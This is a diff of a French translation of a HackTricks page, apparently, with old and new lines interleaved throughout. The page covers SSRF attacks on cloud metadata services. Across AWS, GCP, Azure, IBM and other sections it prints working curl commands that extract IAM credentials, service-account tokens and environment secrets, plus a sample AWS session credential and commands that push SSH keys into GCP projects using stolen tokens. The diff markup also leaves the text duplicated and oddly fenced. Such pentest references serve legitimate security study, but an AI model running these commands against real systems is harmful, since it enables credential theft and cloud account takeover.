De plus, **IMDSv2** bloquera également **les requêtes pour obtenir un token qui incluent l'en-tête `X-Forwarded-For`**. Cela est fait pour empêcher les proxies inverses mal configurés d'y accéder.
|
||||
{% endhint %}
|
||||
|
||||
Vous pouvez trouver des informations sur les [points de terminaison de la métadonnée dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, des informations intéressantes sont obtenues à partir de celle-ci :
|
||||
Vous pouvez trouver des informations sur les [points de terminaison des métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes sont obtenues à partir de celui-ci :
|
||||
```bash
|
||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||
|
@ -94,40 +96,40 @@ echo ""
|
|||
echo "EC2 Security Credentials"
|
||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||
```
|
||||
En tant qu'exemple d'exposition de **credentials IAM disponibles publiquement**, vous pouvez visiter : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
Comme exemple de **crédentials IAM accessibles publiquement** exposées, vous pouvez visiter : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
|
||||
Vous pouvez également vérifier les **credentials de sécurité EC2 publics** sur : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
Vous pouvez également vérifier les **crédentials de sécurité EC2** publiques ici : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Vous pouvez ensuite prendre **ces credentials et les utiliser avec l'AWS CLI**. Cela vous permettra de faire **tout ce que le rôle a les permissions** de faire.
|
||||
Vous pouvez ensuite prendre **ces crédentials et les utiliser avec l'AWS CLI**. Cela vous permettra de faire **tout ce que le rôle a la permission** de faire.
|
||||
|
||||
Pour profiter des nouveaux credentials, vous devrez créer un nouveau profil AWS comme celui-ci :
|
||||
Pour tirer parti des nouvelles crédentials, vous devrez créer un nouveau profil AWS comme celui-ci :
|
||||
```
|
||||
[profilename]
|
||||
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
||||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
|
||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||
```
|
||||
Remarquez le **aws\_session\_token**, cela est indispensable pour que le profil fonctionne.
|
||||
Remarquez le **aws\_session\_token**, celui-ci est indispensable pour que le profil fonctionne.
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) peut être utilisé avec les identifiants découverts pour déterminer vos privilèges et essayer d'escalader les privilèges.
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) peut être utilisé avec les identifiants découverts pour déterminer vos privilèges et essayer d'escalader les privilèges
|
||||
|
||||
### SSRF dans les informations d'identification AWS ECS (Container Service)
|
||||
### SSRF dans les identifiants AWS ECS (Container Service)
|
||||
|
||||
**ECS**, est un groupe logique d'instances EC2 sur lesquelles vous pouvez exécuter une application sans avoir à mettre à l'échelle votre propre infrastructure de gestion de cluster car ECS s'en charge pour vous. Si vous parvenez à compromettre le service en cours d'exécution dans **ECS**, les **points de terminaison de métadonnées changent**.
|
||||
**ECS**, est un groupe logique d'instances EC2 sur lesquelles vous pouvez exécuter une application sans avoir à dimensionner votre propre infrastructure de gestion de cluster car ECS gère cela pour vous. Si vous parvenez à compromettre un service fonctionnant dans **ECS**, les **points de terminaison des métadonnées changent**.
|
||||
|
||||
Si vous accédez à _**http://169.254.170.2/v2/credentials/\<GUID>**_, vous trouverez les informations d'identification de la machine ECS. Mais d'abord, vous devez **trouver le \<GUID>**. Pour trouver le \<GUID>, vous devez lire la variable **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** à l'intérieur de la machine.\
|
||||
Vous pourriez être en mesure de le lire en exploitant une **traversal de chemin** vers `file:///proc/self/environ`\
|
||||
L'adresse http mentionnée devrait vous donner la **AccessKey, SecretKey et le token**.
|
||||
Si vous accédez à _**http://169.254.170.2/v2/credentials/\<GUID>**_ vous trouverez les identifiants de la machine ECS. Mais d'abord, vous devez **trouver le \<GUID>**. Pour trouver le \<GUID>, vous devez lire la variable **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** à l'intérieur de la machine.\
|
||||
Vous pourriez être capable de la lire en exploitant une **Path Traversal** vers `file:///proc/self/environ`\
|
||||
L'adresse http mentionnée devrait vous donner l'**AccessKey, SecretKey et token**.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Notez que dans **certains cas**, vous pourrez accéder à l'**instance de métadonnées EC2** à partir du conteneur (vérifiez les limitations de TTL d'IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pouvez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2.
|
||||
Notez que dans **certains cas**, vous pourrez accéder à **l'instance de métadonnées EC2** depuis le conteneur (vérifiez les limitations TTL d'IMDSv2 mentionnées précédemment). Dans ces scénarios, depuis le conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM de l'EC2.
|
||||
{% endhint %}
|
||||
|
||||
### SSRF pour AWS Lambda <a href="#6f97" id="6f97"></a>
|
||||
|
||||
Dans ce cas, les **informations d'identification sont stockées dans des variables d'environnement**. Ainsi, pour y accéder, vous devez accéder à quelque chose comme **`file:///proc/self/environ`**.
|
||||
Dans ce cas, **les identifiants sont stockés dans des variables d'environnement**. Donc, pour y accéder, vous devez accéder à quelque chose comme **`file:///proc/self/environ`**.
|
||||
|
||||
Les **noms** des **variables d'environnement intéressantes** sont :
|
||||
|
||||
|
@ -135,40 +137,42 @@ Les **noms** des **variables d'environnement intéressantes** sont :
|
|||
* `AWS_SECRET_ACCESS_KEY`
|
||||
* `AWS_ACCES_KEY_ID`
|
||||
|
||||
De plus, en plus des informations d'identification IAM, les fonctions Lambda disposent également de **données d'événement qui sont transmises à la fonction lors de son démarrage**. Ces données sont mises à disposition de la fonction via l'[interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et peuvent contenir des **informations sensibles** (comme dans les **stageVariables**). Contrairement aux informations d'identification IAM, ces données sont accessibles via SSRF standard à l'adresse **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
De plus, en plus des identifiants IAM, les fonctions Lambda ont également **des données d'événement qui sont passées à la fonction lorsqu'elle est démarrée**. Ces données sont mises à disposition de la fonction via [l'interface de runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux identifiants IAM, ces données sont accessibles via un SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que les **informations d'identification lambda** se trouvent dans les **variables d'environnement**. Donc, si la **trace de la pile** du code lambda imprime les variables d'environnement, il est possible de les **exfiltrer en provoquant une erreur** dans l'application.
|
||||
Notez que **les identifiants lambda** sont à l'intérieur des **variables d'environnement**. Donc, si la **trace de la pile** du code lambda imprime les variables d'env, il est possible de **les exfiltrer en provoquant une erreur** dans l'application.
|
||||
{% endhint %}
|
||||
|
||||
### URL SSRF pour AWS Elastic Beanstalk <a href="#6f97" id="6f97"></a>
|
||||
|
||||
Nous récupérons l'`accountId` et la `region` à partir de l'API.
|
||||
Nous récupérons l'`accountId` et la `region` depuis l'API.
|
||||
```
|
||||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
Nous récupérons ensuite les `AccessKeyId`, `SecretAccessKey` et `Token` de l'API.
|
||||
Nous récupérons ensuite l'`AccessKeyId`, le `SecretAccessKey` et le `Token` depuis l'API.
|
||||
```
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
|
||||
```markdown
|
||||
![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)
|
||||
|
||||
Ensuite, nous utilisons les identifiants avec `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
||||
|
||||
## GCP <a href="#6440" id="6440"></a>
|
||||
|
||||
Vous pouvez [**trouver ici la documentation sur les points de terminaison de métadonnées**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||||
Vous pouvez [**trouver ici la documentation sur les points de terminaison des métadonnées**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||||
|
||||
### URL SSRF pour Google Cloud <a href="#6440" id="6440"></a>
|
||||
|
||||
Nécessite l'en-tête "Metadata-Flavor: Google" ou "X-Google-Metadata-Request: True" et vous pouvez accéder au point de terminaison de métadonnées avec les URL suivantes :
|
||||
Nécessite l'en-tête "Metadata-Flavor: Google" ou "X-Google-Metadata-Request: True" et vous pouvez accéder au point de terminaison des métadonnées avec les URL suivantes :
|
||||
|
||||
* http://169.254.169.254
|
||||
* http://metadata.google.internal
|
||||
* http://metadata
|
||||
|
||||
Points de terminaison intéressants pour extraire des informations :
|
||||
```
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
|
@ -247,13 +251,13 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
|
|||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||||
-H "Metadata-Flavor: Google"
|
||||
```
|
||||
Beta ne nécessite PAS d'en-tête pour le moment (merci à Mathias Karlsson @avlidienbrunn)
|
||||
Beta ne nécessite PAS actuellement d'en-tête (merci à Mathias Karlsson @avlidienbrunn)
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Pour **utiliser le jeton du compte de service exfiltré**, vous pouvez simplement faire :
|
||||
Pour **utiliser le jeton de compte de service exfiltré**, vous pouvez simplement faire :
|
||||
```bash
|
||||
# Via env vars
|
||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||
|
@ -292,15 +296,17 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
|||
-H "Content-Type: application/json"
|
||||
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
## Digital Ocean <a href="#9f1f" id="9f1f"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver les informations d'identification du bot de métadonnées
|
||||
Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de bot de métadonnées
|
||||
{% endhint %}
|
||||
|
||||
Documentation disponible sur [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
La documentation est disponible sur [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
```
|
||||
```
|
||||
curl http://169.254.169.254/metadata/v1/id
|
||||
http://169.254.169.254/metadata/v1.json
|
||||
|
@ -314,7 +320,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -327,7 +333,7 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi
|
|||
[**Docs** ici](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||
|
||||
* **Doit** contenir l'en-tête `Metadata: true`
|
||||
* Ne doit **pas** contenir d'en-tête `X-Forwarded-For`
|
||||
* Ne **doit pas** contenir un en-tête `X-Forwarded-For`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Bash" %}
|
||||
|
@ -376,9 +382,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
|
||||
### Azure App Service
|
||||
|
||||
À partir de **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Vous pouvez les utiliser pour obtenir un jeton afin de communiquer avec le serveur de métadonnées.
|
||||
Depuis la variable d'environnement **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Vous pouvez les utiliser pour obtenir un jeton pour communiquer avec le serveur de métadonnées.
|
||||
|
||||
La plupart du temps, vous voulez un jeton pour l'une de ces ressources :
|
||||
La plupart du temps, vous souhaitez un jeton pour l'une de ces ressources :
|
||||
|
||||
* [https://storage.azure.com](https://storage.azure.com/)
|
||||
* [https://vault.azure.net](https://vault.azure.net/)
|
||||
|
@ -455,7 +461,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
|||
## IBM Cloud <a href="#2af0" id="2af0"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que par défaut, les métadonnées ne sont pas activées dans IBM, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une machine virtuelle IBM Cloud.
|
||||
Notez que dans IBM par défaut les métadonnées ne sont pas activées, donc il est possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une VM cloud IBM
|
||||
{% endhint %}
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -482,56 +488,27 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
|
|||
# Get IAM credentials
|
||||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
## Packetcloud <a href="#2af0" id="2af0"></a>
|
||||
|
||||
Documentation disponible à l'adresse [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata)
|
||||
La documentation est disponible sur [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata)
|
||||
|
||||
## OpenStack/RackSpace <a href="#2ffc" id="2ffc"></a>
|
||||
|
||||
(en-tête requis ? inconnu)
|
||||
```
|
||||
```
|
||||
http://169.254.169.254/openstack
|
||||
```
|
||||
## HP Helion <a href="#a8e0" id="a8e0"></a>
|
||||
|
||||
(header requis ? inconnu)
|
||||
(entête requis ? inconnu)
|
||||
```
|
||||
http://169.254.169.254/2009-04-04/meta-data/
|
||||
```
|
||||
## Oracle Cloud <a href="#a723" id="a723"></a>
|
||||
|
||||
Oracle Cloud is a cloud computing platform provided by Oracle Corporation. It offers a wide range of cloud services, including infrastructure as a service (IaaS), platform as a service (PaaS), and software as a service (SaaS).
|
||||
|
||||
### SSRF Vulnerability in Oracle Cloud
|
||||
|
||||
Server-side Request Forgery (SSRF) is a common vulnerability that can be exploited in cloud environments, including Oracle Cloud. SSRF occurs when an attacker is able to make a server-side request from the vulnerable application to an arbitrary domain or IP address specified by the attacker.
|
||||
|
||||
In the context of Oracle Cloud, an SSRF vulnerability can allow an attacker to make requests to internal resources or services within the cloud environment. This can potentially lead to unauthorized access to sensitive information, such as database credentials or other internal resources.
|
||||
|
||||
### Exploiting SSRF in Oracle Cloud
|
||||
|
||||
To exploit an SSRF vulnerability in Oracle Cloud, an attacker typically needs to identify a vulnerable endpoint that accepts user-supplied URLs or IP addresses. This can be a web application or an API endpoint that performs server-side requests.
|
||||
|
||||
Once a vulnerable endpoint is identified, the attacker can craft a malicious request that includes a URL or IP address pointing to an internal resource or service within the Oracle Cloud environment. The attacker can then send this request to the vulnerable endpoint, causing the server to make the request on behalf of the attacker.
|
||||
|
||||
### Impact of SSRF in Oracle Cloud
|
||||
|
||||
The impact of an SSRF vulnerability in Oracle Cloud can be significant. An attacker can potentially access sensitive information, compromise internal resources, or even pivot to other parts of the cloud environment.
|
||||
|
||||
For example, an attacker could exploit an SSRF vulnerability to access a database server within the Oracle Cloud environment and extract sensitive data. This could include customer information, financial data, or other confidential information.
|
||||
|
||||
### Mitigating SSRF in Oracle Cloud
|
||||
|
||||
To mitigate SSRF vulnerabilities in Oracle Cloud, it is important to follow secure coding practices and implement proper input validation and sanitization. Here are some recommended mitigation techniques:
|
||||
|
||||
- Validate and sanitize user-supplied URLs or IP addresses before making server-side requests.
|
||||
- Implement whitelisting or allowlisting of trusted domains or IP addresses to restrict the destinations of server-side requests.
|
||||
- Use network-level controls, such as firewalls or security groups, to restrict outbound connections from the cloud environment.
|
||||
- Regularly update and patch software and libraries to address known vulnerabilities.
|
||||
|
||||
By implementing these mitigation techniques, organizations can reduce the risk of SSRF vulnerabilities in their Oracle Cloud environments and protect against potential attacks.
|
||||
```
|
||||
http://192.0.0.192/latest/
|
||||
http://192.0.0.192/latest/user-data/
|
||||
|
@ -546,7 +523,7 @@ http://100.100.100.200/latest/meta-data/image-id
|
|||
```
|
||||
## Kubernetes ETCD <a href="#c80a" id="c80a"></a>
|
||||
|
||||
Peut contenir des clés API, des adresses IP internes et des ports
|
||||
Peut contenir des clés API et des IP internes et ports
|
||||
```
|
||||
curl -L http://127.0.0.1:2379/version
|
||||
curl http://127.0.0.1:2379/v2/keys/?recursive=true
|
||||
|
@ -559,41 +536,28 @@ bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
|
|||
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
|
||||
```
|
||||
## Rancher <a href="#8cb7" id="8cb7"></a>
|
||||
|
||||
Rancher is a popular open-source platform for managing and orchestrating containers. It provides a user-friendly interface for deploying and managing containerized applications across different cloud providers. With Rancher, you can easily create and manage Kubernetes clusters, monitor container performance, and scale applications as needed.
|
||||
|
||||
Rancher also offers built-in support for integrating with various cloud providers, such as AWS, GCP, and Azure. This allows you to seamlessly deploy and manage your containers on these platforms without having to manually configure each one.
|
||||
|
||||
However, like any other cloud-based platform, Rancher is not immune to security vulnerabilities. One common vulnerability that can be exploited is Server-Side Request Forgery (SSRF). In an SSRF attack, an attacker tricks the server into making requests to internal or external resources on behalf of the server itself.
|
||||
|
||||
In the context of Rancher, an SSRF vulnerability can allow an attacker to make unauthorized requests to internal services or cloud APIs. This can lead to unauthorized access to sensitive data, remote code execution, or even a complete compromise of the underlying infrastructure.
|
||||
|
||||
To prevent SSRF attacks in Rancher, it is important to follow security best practices such as:
|
||||
|
||||
- Implementing proper input validation and sanitization to prevent malicious input from being processed.
|
||||
- Whitelisting allowed URLs or IP addresses that the server can make requests to.
|
||||
- Restricting the server's network access to only necessary resources.
|
||||
- Regularly updating Rancher and its dependencies to patch any known vulnerabilities.
|
||||
|
||||
By taking these precautions, you can significantly reduce the risk of SSRF attacks and ensure the security of your Rancher deployment.
|
||||
```
|
||||
curl http://rancher-metadata/<version>/<path>
|
||||
```
|
||||
```markdown
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder surveille votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -2,33 +2,35 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
